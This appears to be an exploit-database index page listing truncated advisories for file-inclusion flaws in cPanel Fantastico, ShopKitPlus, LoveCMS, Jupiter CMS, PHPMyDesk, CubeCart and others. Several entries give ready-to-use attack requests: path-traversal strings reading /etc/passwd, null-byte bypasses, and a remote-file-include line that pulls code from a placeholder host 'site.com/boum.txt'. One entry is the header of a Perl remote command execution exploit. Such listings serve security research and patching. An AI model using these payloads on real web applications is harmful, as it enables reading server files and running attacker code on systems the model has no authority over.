cPanel <= 10.9.x (fantastico) Local File Inclusion Vulnerabilities

No description provided by source...

shopkitplus local file include

lfi: /shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd full path: /shopkitplus/events.php?curmonth=01 /shopkitplus/enc/stylecss.php?changetheme= regards laurent gaffie...

lovecms14-multi.txt

rfi: /lovecms/install/index.php?step=http://site.com/boum.txt? lfi: /lovecms/install/index.php?step=/etc/passwd%00 /lovecms/?load=../../../../../../../../../../etc/passwd%00 admin upload vuln : upload any kind of file even if it's not accepted it will be stored here : /modules/content/pictures/tm...

shopkitplus-lfi.txt

lfi: /shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd full path: /shopkitplus/events.php?curmonth=01 /shopkitplus/enc/stylecss.php?changetheme= regards laurent gaffié...

Jupiter CMS 1.1.5 (index.php) Local/Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Jupiter CMS 1.1.5 index.php Local/Remote File Include Vulnerability ===================================================================== Title: Jupiter CMS 1.1.5 Multip...

PHPMyDesk 1.0 Beta - 'viewticket.php' Local File Inclusion

!/usr/bin/perl PHPMyDesk 1.0beta Remote Command Execution Exploit linK : http://www.cynux.com/phpmydesk/ cod3d and f0unded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: ciriboflacsATYaHOo.com or [email protected] File inclusion: www.site.com//viewticket.php?pmdlang=...

CubeCart < 3.0.13 Multiple Remote Vulnerabilities (LFI, SQLi, XSS)

The version of CubeCart installed on the remote host fails to properly sanitize user-supplied input to the 'gateway' parameter before using it in the 'includes/content/gateway.inc.php' script to include PHP code. An unauthenticated, remote attacker may be able to exploit this issue to view...

PHPSysInfo 2.x - Multiple Input Validation Vulnerabilities

PHPSysInfo 2.x - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/15396/info phpSysInfo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. phpSysInfo is prone to...

Immunity Canvas: IIS_MACHINEKEY

Name| iismachinekey ---|--- CVE| NO-CVE Exploit Pack| CANVAS Description| Microsoft IIS MachineKey ViewState Deserialization RCE Notes| CVE Name: NO-CVE VENDOR: http://microsoft.com Notes: IMPORTANT NOTES 3/30/2018: | Test | ind. systems verified | iismachinekey success |...